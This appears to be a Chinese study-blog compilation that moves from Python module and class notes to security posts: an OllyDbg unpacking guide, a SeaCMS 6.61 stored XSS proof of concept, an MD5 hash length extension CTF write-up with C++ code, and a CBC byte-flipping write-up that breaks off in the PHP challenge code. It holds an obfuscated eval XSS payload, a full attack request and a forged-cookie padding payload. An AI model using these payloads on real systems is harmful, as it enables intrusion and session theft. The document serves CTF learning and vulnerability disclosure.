第1行和第2行是标准注释,第1行注释可以让这个hello.py文件直接在Unix/Linux/Mac上运行,第2行注释表示.py文件本身使用标准UTF-8编码,第3行是一个字符串,表示模块的文档注释,任何模块代码的第一个字符串都被视为模块的文档注释
import sys
导入模块,导入sys模块后,我们就有了变量sys指向该模块,利用sys这个变量,就可以访问sys模块的所有功能,要引用该模块内的函数用sys.函数名()

2.

作用域:在一个模块中,我们可能会定义很多函数和变量,但有的函数和变量我们希望给别人使用,有的函数和变量我们希望仅仅在模块内部使用。在Python中,是通过_前缀来实现的。类似_xxx和__xxx这样的函数或变量就是非公开的(private),不应该被直接引用,比如_abc,__abc等;

3.

包:在文件系统中,包就是一个文件夹,模块就是一个.py文件,区分包与普通文件夹在于每一个包下面都有一个—init—.py文件,并且每一层都有,不同的包里面的同名函数用包名.函数名区分
image

4.

如果我们只是应用包里的某些函数,可以使用from math import pow, sin, log来导入

5.
1
2
3
4
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO

上述代码先尝试从cStringIO导入,如果失败了(比如cStringIO没有被安装),再尝试从StringIO导入。这样,如果cStringIO模块存在,则我们将获得更快的运行速度,如果cStringIO不存在,则顶多代码运行速度会变慢,但不会影响代码的正常执行。try 的作用是捕获错误,并在捕获到指定错误时执行 except 语句。

6.

第三方模块载入在py2.7以后已经自带了pip,可以利用piip下载第三方模块,并且IDEpcharm中自带pip。import载入模块时,遇到未下载第三方模块会提醒你下载

面向对象

1.

面向对象编程可以看成是不同对象的相互调用,基本思想为类和实例,必须牢记类是抽象的模板,比如Student类,而实例是根据类创建出来的一个个具体的“对象”,每个对象都拥有相同的方法,但各自的数据可能不同。
image

2.

类通过关键字class定义,类名以大写字母开头,紧接着是(object),表示该类是从哪个类继承下来的。有了类就可以创建具体的实例,实例用类名+()

1
2
3
4
5
6
7
8
9
10
class Person(object):
pass #pass能够创建一个最简单的类
xiaoming = Person()
xiaohong = Person()
print xiaoming
print xiaohong
print xiaoming==xiaohong
>>><__main__.Person object at 0x7fb705015450> #结果中出现的__main__意思是,调用模块本身
<__main__.Person object at 0x7fb704f54ad0>
False # 说明两个实例并不相同

关于为什么要继承object类[https://www.zhihu.com/question/19754936]

3.

实例的属性使用实例,属性表示,在定义 Person 类时,可以为Person类添加一个特殊的init()方法,当创建实例时,init()方法被自动调用,我们就能在此为每个实例都统一属性

1
2
3
4
5
class Person(object):
def __init__(self, name, gender, birth):
self.name = name
self.gender = gender
self.birth = birth

init() 方法的第一个参数必须是 self(也可以用别的名字,但建议使用习惯用法),后续参数则可以自由指定,和定义函数没有任何区别

4.

关于访问限制,在属性前面加上__,如__job该属性就无法被外部访问到,而__job__作为特殊属性可以被外部访问,_job也可以被外部访问

5.

实例属性每个实例各自拥有,互相独立,而类属性有且只有一份,该类下的实例都可以使用类属性,在内部函数中调用类属性,需要使用类名.类属性名,当实例属性和类属性重名时,实例属性优先级高,它将屏蔽掉对类属性的访问

1
2
3
4
class Person(object):
address = 'Earth' #定义类属性
def __init__(self, name): #定义实例属性
self.name = name
6.
1
2
3
4
5
6
7
class Student(object):
...
def set_score(self, score):
if 0 <= score <= 100:
self.__score = score
else:
raise ValueError('bad score') #可以对参数做检查,避免传入无效的参数
7.

方法就是与实例绑定的函数,和普通函数不同,方法可以直接访问实例的数据

8.

在面向对象的程序设计中,当我们定义一个class的时候,可以从某个现有的class继承,新的class称为子类(Subclass),而被继承的class称为基类、父类或超类(Base class、Super class),对于前面的类,括号里面的object就是他们的父类,子类继承父类全部功能
image

9.

加强记忆,一种类的实例可以应用这个类里面的函数

1
2
3
4
5
class Timer(object):
def run(self):
print(' Timer is Start...')
dog=Timer()
dog.run() #实例dog应用了Timer类中的Run函数

脱壳总结

常见脱壳知识:
  • 1.PUSHAD (压栈) 代表程序的入口点
  • 2.POPAD (出栈) 代表程序的出口点,与PUSHAD相对应,一般找到这个,说明OEP可能就在附近
  • 3.OEP:程序的入口点,软件加壳就是隐藏了OEP(或者用了假的OEP)
    只要我们找到程序真正的OEP,就可以立刻脱壳。
    脱壳的几种方法:
    方法一:单步跟踪
  1. 用OD载入,不分析代码!
  2. 单步向下跟踪F8,是向下跳的让它实现
  3. 遇到程序往回跳的(包括循环),我们在下一句代码处按F4(或者右健单击代码,选择断点——运行到所选)
  4. 绿色线条表示跳转没实现,不用理会,红色线条表示跳转已经实现!
  5. 如果刚载入程序,在附近就有一个CALL的,我们就F7跟进去,这样很快就能到程序的OEP
  6. 在跟踪的时候,如果运行到某个CALL程序就运行的,就在这个CALL中F7进入
  7. 一般有很大的跳转,比如 jmp XXXXXX 或者 je XXXXXX 或者有RETE的一般很快就会到程序的OEP。
方法二:ESP定律脱壳(最常用)
  1. 用Od载入后就按F8,注意观察OD右上角的寄存器中ESP有没出现
  2. 在命令行下:dd 0012FFA4(0012FFA4指在当前代码中的ESP地址),按回车!
  3. 选种下断的地址,下硬件访问WORD断点。
  4. 按一下F9运行程序,直接来到了跳转处,按下F8,到达程序OEP,脱壳
方法三:内存跟踪
  1. 用OD打开软件!
  2. 点击选项——调试选项——异常,把里面的忽略全部勾上,CTRL+F2重新加载程序
  3. 按ALT+M,打开内存镜象,找到第一个.rsrc.按F2下断点,然后按SHIFT+F9运行到断点,接着再按ALT+M, 打开内存镜象,找到.RSRC上面的CODE,按F2下断点,然后按SHIFT+F9,直接到达程序OEP,脱壳
方法四:跟踪出口法
  1. 开始按Ctrl+F,输入:popad(只适合少数壳,包括ASPACK壳),然后按下F2,F9运行到此处
  2. 来到大跳转处,点下F8,脱壳
方法五:最后一次异常法
  1. 用OD打开软件
  2. 点击选项——调试选项——异常,把里面的勾全部去掉,CTRL+F2重新加载程序
  3. 在这里我们按SHIFT+F9,直到程序运行,记下从开始按SHIFT+F9到程序运行的次数
  4. CTRL+F2重新加载程序,按SHIFT+F9(次数为程序运行的次数-1次)
  5. 在OD的右下角我们看见有一个SE 句柄,这时我们按CTRL+G,输入SE 句柄前的地址!
  6. 按F2下断点,然后按SHIFT+F9来到断点处!
  7. 去掉断点,按F8慢慢向下走
  8. 到达程序的OEP,脱壳
一些小技巧
手脱 UPX 壳的捷径

OD载入程序后,直接Ctrl+F,输入 POPAD ;点确定后 来到这个命令所在的位置。按F2,在这个地方下断;再按F9(运行);停止后,按F2取消刚才下的断点。再F8单步!

手脱 ASPCK 的壳

脱这个壳用ESP定律,还是相对快捷的。可以用载入程序后,第二行(是一个CALL)那里面的ESP。(多数程序这个壳的第二行都是一个CALL),
在左OD左下角的命令行中,输入命令:hr ESP地址(如 hr 0012FFA4);F9 运行。然后从OD”调试菜单“中的”硬件断点“这一项将刚才下的断点删除,这点很重要!最后F8单步!

手脱FSG 1.33 和 PCshrink 的壳

1、忽略所有异常
2、Alt+M 打开内存镜像,找到第一个 ”.rsrc“
3、F2(下断),F9(运行)
4、Alt+M 打开内存镜像,找到”Code“段;
5、F2(下断),Shift+F9【这点一定要记住,切记是 Shift+F9】运行;
6、先按F8,再按下F4,直接到达OEP

手脱 JDpack 壳 和 PEpack 1.0 的壳 最简单的方法

内存镜像法

手脱nspack(北斗)1.3 的壳

1、ESP定律,命令:hr ESP地址 【脱壳后程序不能正常运行】
2、用 ImportREC 这个工具进行修复,修复后程序正常运行。

Seacms6.61xss漏洞

Seacms V6.61 has XSS vulnerability in site name parameter of admin_video.php

Affected Version

Seacms 6.61

POC

1
2
3
<details/open/ontoggle=eval(String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(100)+String.fromCharCode(111)+String.fromCharCode(99)+String.fromCharCode(117)+String.fromCharCode(109)+String.fromCharCode(101)+String.fromCharCode(110)+String.fromCharCode(116)+String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+String.fromCharCode(111)+String.fromCharCode(107)+String.fromCharCode(105)+String.fromCharCode(101)+String.fromCharCode(41))>
```

POST /ADMIN/admin_video.php?action=save&acttype=add HTTP/1.1
Host: cms.jas0nwhy.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://cms.jas0nwhy.top/ADMIN/admin_video.php?action=add
Content-Type: application/x-www-form-urlencoded
Content-Length: 1354
Cookie: PHPSESSID=8k4mkaq9l3ps7dcrcvafetelt6; HISTORY={video:[{“name”:”123”,”link”:”http://cms.jas0nwhy.top/detail/?8.html","pic":"/pic/nopic.gif"},{"name":"&lt\u003bscript&gt\u003balert(xss)&lt\u003b/script&gt\u003b","link":"http://cms.jas0nwhy.top/detail/?1.html","pic":"/pic/nopic.gif"},{"name":"&lt\u003bscript&gt\u003balert(document.cookie)&lt\u003b/script&gt\u003b","link":"http://cms.jas0nwhy.top/detail/?5.html","pic":"/pic/nopic.gif"}]}
Connection: keep-alive
Upgrade-Insecure-Requests: 1

v_commend=0&v_name=test&v_enname=test&v_color=&v_type=5&v_state=&v_pic=&v_spic=&v_gpic=&v_actor=&v_director=&v_commend=0&v_note=&v_tags=&select3=&v_publishyear=&select2=&v_lang=&select1=&v_publisharea=&select4=&v_ver=&v_hit=0&v_monthhit=0&v_weekhit=0&v_dayhit=0&v_len=&v_total=&v_nickname=&v_company=&v_tvs=&v_douban=&v_mtime=&v_imdb=&v_score=&v_scorenum=&v_longtxt=&v_money=0&v_psd=123&v_playfrom%5B1%5D=%E7%BD%91%E7%9B%98%E4%B8%8B%E8%BD%BD&v_playurl%5B1%5D=test&m_downfrom%5B1%5D=%E4%B8%8B%E8%BD%BD%E5%9C%B0%E5%9D%80%E4%B8%80&m_downurl%5B1%5D=test&v_content=%3Ccode%3E%26lt%3Bdetails%2Fopen%2Fontoggle%3Deval%28String.fromCharCode%2897%29%2BString.fromCharCode%28108%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%28114%29%2BString.fromCharCode%28116%29%2BString.fromCharCode%2840%29%2BString.fromCharCode%28100%29%2BString.fromCharCode%28111%29%2BString.fromCharCode%2899%29%2BString.fromCharCode%28117%29%2BString.fromCharCode%28109%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%28110%29%2BString.fromCharCode%28116%29%2BString.fromCharCode%2846%29%2BString.fromCharCode%2899%29%2BString.fromCharCode%28111%29%2BString.fromCharCode%28111%29%2BString.fromCharCode%28107%29%2BString.fromCharCode%28105%29%2BString.fromCharCode%28101%29%2BString.fromCharCode%2841%29%29%26gt%3B%3C%2Fcode%3E&Submit=%E7%A1%AE%E5%AE%9A%E6%8F%90%E4%BA%A4

```

vulnerability trigger point

image

image

image

image

image

hash长度扩展攻击

hash长度扩展攻击

MD5加密算法

image

分组

首先要知道md5的运算都是将明文分割为以512bit(64字节)一组进行运算的,而最后一组不够512bit另做处理

补位

最后一组将含有两部分有效信息,一是明文%512bit的数据,二是记录的原消息总长(固定占有64位,也就是8个字节),那么其中剩下的位置=512-64-明文%512bit的部分由100000…(在16进制中为800000…)补满
例:image
前面的616263是明文的尾部,800000…是补位的,1800…是明文长度

链接变量

链接变量最开始是ABCD四个初始序列,共128位

A=0x67452301

B=0xefcdab89

C=0x98badcfe

D=0x10325476   

将第一组链接变量与第一组明文进行复杂运算,算出一组新的A,B,C,D的值,如果消息小于512,也就是只需要计算一次,这时候将新的ABCD的值按ABCD的顺序级联,然后输出,就是MD5的值,如果消息大于512的话,就用第一次算的MD5的值进行后面部分的运算算出新的MD5值,以此类推。

长度扩展攻击原理

加入有这么一个情况,有一个需要MD5加密的字符串C由A和B两部分组成,A是未知的(也可以理解为salt)但是我们知道它的长度和MD5值,B是已知的且可控的,那么
我们将B的值构造一下,就可以得到字符串C的值。

引子:

假如A为test(十六进制为0x74657374)
那么我们构造B,使A+B等于512位,且形式与需要补位的最后一组一样

B=800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000   

接着在后面添加上B=0x746573748,此时str将大于512位,md5加密时系统会自动补位为1024位,并分为两组

第一组=74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000

第二组=74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002002000000000000   

这样程序先计算第一部分,得到ABCD链接变量

A=0xcd6b8f09

B=0x73d32146

C=0x834edeca

D=0xf6b42726

第二部分就用第一部分的ABCD链接变量去运算得到新的ABCD链接变量

A=0x226359e5

b=0x99df12eb

C=0x6853f59e

D=0xf5406385  

最后高低位逆序得到MD5值e5596322eb12df999ef55368856340f5

攻击:

现在我们知道A长度是4,MD5值高低位逆序得到的ABCD链接变量是

A=0xcd6b8f09

B=0x73d32146

C=0x834edeca

D=0xf6b42726   

这时我们构造

B=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00test  

这时C大于512位,补位为1024位,其实前512位得到的ABCD我们已经知道,那么如果我们把初始链接变量改为前512位得到的ABCD计算一下0x74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002002000000000000
的MD5,发现是e5596322eb12df999ef55368856340f5,这样两个不同的b值得到了一样的MD5值

实例

通过实例更好理解,这是实验吧的让我进去
image
随便输入username和admin抓包
image
将source值改为1发包得到关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
//要求username要等于admin,但是password要不等于admin
if (urldecode($username) === "admin" && urldecode($password) != "admin") {
//要求传入的getmein值要等于MD5加密后的salt+username+password
if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
echo "Congratulations! You are a registered user.\n";
die ("The flag is ". $flag);
}
else {
die ("Your cookies don't match up! STOP HACKING THIS SITE.");
}
}
else {
die ("You are not an admin! LEAVE.");
}
}
//这里规定sample-hash值为MD5加密后的salt+adminadmin
setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
if ($_COOKIE["source"] != 0) {
echo ""; // This source code is outputted here
}
}
?>

这道题要求我们post传入的username=admin,password!=admin,又要$COOKIE[“getmein”] === md5($secret . urldecode($username . $password)),这里就要用到hash长度扩展攻击
现在我们知道了:
salt的长度是15
salt+adminadmin的MD5值是571580b26c65f306376d4f64e53cb5c7
那么,我们现在就要开始构造password=

admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00admin

使得拼接后的字符串为

012345678901234adminadmin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00admin  

这里利用password将拼接字符串大于512位,系统将自动补位为1024位,前512位的MD5值就是MD5(salt+admin+admin)(这个我们是已知的,就是sample-hash),那么我们将sample—hash的值高低位逆序得到的ABCD链接向量换掉初始ABCD链接向量进行MD5运算(也就是直接运算第二组),最终得到的值就是md5($secret . urldecode($username . $password))
更换初始链接变量进行MD5运算代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
#include <cmath>
#include <cstdio>
#include <vector>
#include <string>
#include <cstring>
#include <iostream>


using namespace std;
typedef unsigned int uint;
typedef long long LL;
const int MAXN = 1e6 + 5;
const int mod = 1e9 + 7;

struct MD5 {

typedef void (MD5::*deal_fun)(uint&, uint, uint, uint, uint, uint, uint);//用于定义函数指针数组
string init_str;//数据字符串
uint init_arr[1000];//最终的数据数组{进行扩充处理后的数据}


const static int MAXN = 1e2;

static uint s_state[4];//最开始的默认静态渐变变量

uint state[4];//这个也是默认渐变变量,但是会改变

static uint rolarray[4][4];//位移数组
static uint mN[4][16];//对M数组的处理

uint curM;//当前处理的直接在整个数据中的位置
uint lenZ;//数据的总长{进行扩充处理后的数据总长,这个数是64的倍数}
uint offset;//需要从第几组开始处理
uint Tarr[64];//当前保存的T数组数据
uint Memory[64 + 5];//当前要处理的64个字节数据
uint M[16];//将64个字节数据分为16个数

MD5();
MD5(string str, int noffset);

//数据处理函数
inline uint F(uint X, uint Y, uint Z);
inline uint G(uint X, uint Y, uint Z);
inline uint H(uint X, uint Y, uint Z);
inline uint I(uint X, uint Y, uint Z);

//循环左移函数
uint ROL(uint s, uint ws);

//过程处理函数
inline void FF(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);
inline void GG(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);
inline void HH(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);
inline void II(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);

//生成T数组单个数据的函数
inline uint T(uint i);

//将总数据中的64个字节移到Memory数组中
void data_Init();

//建立M数组
void create_M_arr();

//移动a,b,c,d,规则在前面介绍了
void l_data_change(uint *buf);

//产生T数组
void create_T_arr();

//得到最终MD5值
string get_MD5();

//过程处理
void processing();

};

uint MD5::rolarray[4][4] = {
{ 7, 12, 17, 22 },
{ 5, 9, 14, 20 },
{ 4, 11, 16, 23 },
{ 6, 10, 15, 21 }
};

uint MD5::mN[4][16] = {
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 },
{ 1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12 },
{ 5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2 },
{ 0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9 }
};

/*
传统渐变变量
0x67452301,
0xefcdab89,
0x98badcfe,
0x10325476
这四个东西是可以根据要求更改的,如果取上述几个数则和经常用的MD5算出的结果是一样的
对了,由于有些数据是静态的,改变之后不会进行需要重新进行复制
*/

uint MD5::s_state[4] = {
0xb2801557,
0x06f3656c,
0x644f6d37,
0xc7b53ce5
};//已经按小端规则反处理哈希值了


MD5::MD5() {}

MD5::MD5(string str, int noffset = 1) {
offset = noffset;
curM = (noffset - 1) * 64;//从0位置处开始处理
init_str = str;//对数据字符串进行处理
lenZ = init_str.length();
memset(init_arr, 0, sizeof(init_arr));

for(int i = 0; i < lenZ; i ++) {
init_arr[i] = str[i];//最终的数据数组进行赋值
}
/*
将数据扩充到取模64个字节等于56个字节
第一个填充0x80,然后就是0x00了
*/
if(lenZ % 64 != 56) init_arr[lenZ ++] = 0x80;
while(lenZ % 64 != 56) {
init_arr[lenZ ++] = 0x00;
}

/*
最后8个字节保存了没扩充钱位数的多少,记住是位数的个数不是字节的个数,同时是按照小端规则
*/
uint lengthbits = init_str.length() * 8;
init_arr[lenZ ++] = lengthbits & 0xff;
init_arr[lenZ ++] = lengthbits >> 8 & 0xff;
init_arr[lenZ ++] = lengthbits >> 16 & 0xff;
init_arr[lenZ ++] = lengthbits >> 24 & 0xff;

//因为uint最多32位所以我们只要考虑四个字节就可以了,虽然实际上要考虑64位,嘿
lenZ += 4;//这步我没读懂!!!


for(int i = 0;i < 4;i ++){
state[i] = s_state[i];//将最开始的默认静态渐变变量赋值给静态渐变变量
}

}

inline uint MD5::F(uint X, uint Y, uint Z) {
return (X & Y) | ((~X) & Z);
}
inline uint MD5::G(uint X, uint Y, uint Z) {
return (X & Z) | (Y & (~Z));
}
inline uint MD5::H(uint X, uint Y, uint Z) {
return X ^ Y ^ Z;
}
inline uint MD5::I(uint X, uint Y, uint Z) {
return Y ^ (X | (~Z));
}
uint MD5::ROL(uint s, uint ws) {
return (s << ws) | (s >> (32 - ws));
}


inline void MD5::FF(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
a = ROL(a + F(b, c, d) + x + ac, s) + b;
//printf("ff\n");
}

inline void MD5::GG(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
a = ROL(a + G(b, c, d) + x + ac, s) + b;
//printf("gg\n");
}

inline void MD5::HH(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
a = ROL(a + H(b, c, d) + x + ac, s) + b;
//printf("hh\n");
}

inline void MD5::II(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
a = ROL(a + I(b, c, d) + x + ac, s) + b;
//printf("ii\n");
}

//这里前面讲了
inline uint MD5::T(uint i) {
return (uint)((0xffffffff + 1LL) * abs(sin(i)));
}

//取64个字节放在Memory数组中
void MD5::data_Init() {
uint tmp = 0;
for(int i = 0; i < 64; i ++) {
Memory[i] = init_arr[curM + i];
}
curM += 64;//变化位置
}


void MD5::create_T_arr() {
for(int i = 1; i <= 64; i ++) {
Tarr[i - 1] = T(i);
}
}

/*
这里使用了小端将数据存在M数组中,可以稍微思考一下
*/
void MD5::create_M_arr() {
uint tmp = 0;
int cnt = 0;
for(int i = 0; i < 64; i += 4) {
tmp = 0;
for(int j = 3; j >= 0; j --) {
tmp |= Memory[i + j];
if(j == 0) break;
tmp <<= 8;
}
M[cnt ++] = tmp;
}
}

//移动a,b,c,d,最后一个移到第一个
void MD5::l_data_change(uint *buf) {
uint buftmp[4] = {buf[3], buf[0], buf[1], buf[2]};
for(int i = 0; i < 4; i ++) {
buf[i] = buftmp[i];
}
}

void MD5::processing() {
uint statetmp[4];
for(int i = 0; i < 4; i ++) {
statetmp[i] = state[i];
}
/*
这里的处理只是为了更方便的循环
*/
uint * a = &statetmp[0];
uint * b = &statetmp[1];
uint * c = &statetmp[2];
uint * d = &statetmp[3];

/*
产生M数组和T数组
*/
create_M_arr();
create_T_arr();

/*
建立函数指针数组
循环处理
*/

deal_fun d_fun[4] = {
&MD5::FF, &MD5::GG, &MD5::HH, &MD5::II
};

for(int i = 0; i < 4; i ++) {
for(int j = 0; j < 16; j ++) {
(this ->* d_fun[i])(*a, *b, *c, *d, M[mN[i][j]], rolarray[i][j % 4], Tarr[i * 16 + j]);
l_data_change(statetmp);//交换a,b,c,d
}
}


for(int i = 0; i < 4; i ++) {
state[i] += statetmp[i];
}
}

string MD5::get_MD5() {
string result;
char tmp[15];
for(int i = 0;i < (lenZ - (offset - 1) * 64) / 64;i ++){
data_Init();
processing();
}

/*
最终显示也是用小端
*/

for(int i = 0; i < 4; i ++) {
sprintf(tmp, "%02x", state[i] & 0xff);
result += tmp;
sprintf(tmp, "%02x", state[i] >> 8 & 0xff);
result += tmp;
sprintf(tmp, "%02x", state[i] >> 16 & 0xff);
result += tmp;
sprintf(tmp, "%02x", state[i] >> 24 & 0xff);
result += tmp;
}
return result;
}

int main() {
MD5 md1("123456789123456adminadmin123456789123456789123456789123456789123admin",2);
cout << md1.get_MD5() << endl;
return 0;
}

将运行代码得到的hash值利用getmein写入cookie,将username=admin,passsword=admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00admin
image
flag:CTF{cOOkieS_4nd_hAshIng_G0_w3LL_t0g3ther}

参考文章:
MD5的Hash长度扩展攻击
科普哈希长度扩展攻击

CBC字节翻转攻击

CBC字节翻转攻击

简介

CBC加密是AES加密的一种模式,中文名叫密码分组链接模式(Cipher Block Chaining (CBC)),这种模式是先将明文切分成若干小段,然后每一小段与初始块或者上一段的密文段进行异或运算后,再与密钥进行加密。
看下图:
IV:随机生成的初始向量
Plaintxt:明文数据
Ciphertext:密文数据
Key:分组加密使用的密钥

加密过程

image

首先将我们需要将需要加密的明文按照十六个字节为一组分组,最后一组不满十六字节用特殊字符填补
接着系统产生一个十六字节的随机字符串作为初始向量,该向量与第一组明文进行异或操作,再与key进行CBC加密得到第一组密文
第一组密文再与下一组明文进行异或操作CBC加密得到第二组密文
以此类推……
将得到的密文组按顺序拼接到一起就是所得到的密文

解密过程

image
首先将密文按十六进制分组
第一组密文与key进行CBC解密,再将解密的数据与初始向量异或得到第一组明文
接着第一组密文再与下一组CBC解密得到的数据进行异或操作得到第二组明文
以此类推……
最后拼接得到明文

异或操作

CBC字节翻转的关键点就在异或上,所以首先我们要明白异或是什么。
image
当我们的一个值C是由A和B异或得到
C = A XOR B
那么
A XOR B XOR C很明显是=0的
当我们知道B和C之后,想要得到A的值也很容易
A = B XOR C
因此,A XOR B XOR C等于0。有了这个公式,我们可以在XOR运算的末尾处设置我们自己的值,即可改变。

攻击过程

image
攻击针对的是解密过程
第一步:修改

由图可知,你在密文中改变的字节,只会影响到在下一明文当中,具有相同偏移量的字节。

所以我们要找到要修改的明文中的那一个字节C,我,上一组密文对应字节为A,本组密文对应字节为B,我们知道了A xor B = C,我们现在现在要将C改变为c,那么知道A XOR B XOR C = 0,则A XOR B XOR C xor c= c。

这里我们知道B是解密后的数据未知我们不好修改,所以我们可以将A修改a=A xor C xor c ,这样我们就将C替换成了c。

第二步:修复

上一步我们将第二组明文修改为了我们想要得到的数据,但是,与此同时,我们也将第一组密文给修改了,这就会导致第一组明文数据被修改,那么我们不能去修改第一组密文,又要使第一组明文数据正确,我们只有利用异或对初始向量下手。

若原iv为O,新iv为N,错误的第一组明文M = O xor 第一组密文,我们要想得到正确的第一组明文m,那么就去改变N = O xor M xor m,这样就利用异或得到了正确的明文。

看个例子

这是iscc的一道题Only admin can see flag
image
查看源码发现一个TXT文件,打开得到PHP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
//设置随机初始向量
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

//设置cookie的流程调用的函数,返回一个随机的iv和使用该iv加密的post提交的username和password的结果——cipher
function login($info){
$iv = get_random_iv();
//序列化传入数组
#a:2:{s:8:"username";s:5:"Admin";s:8:"password";s:4:"test";}
#第一组明文:a:2:{s:8:"userna
#第二组明文:me";s:5:"Admin";
#第三组明文:s:8:"password";s
#第四组明文::4:"test";}
$plain = serialize($info);
//cbc加密
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

//检查函数,这里是对cookie中cipher和iv进行CBC翻转的利用点
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
//进行CBC模式的AES解密
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
//对解密结果进行反序列化,设置session中的username为反序列化后数组中的username的值
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

//根据session中username参数,控制显示结果
//如果没有设置参数,进入判断cookie路径
function show_homepage(){
//session要为admin
if ($_SESSION["username"]==='admin'){
echo $flag;
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
//入口
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
//post传参不能为admin
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
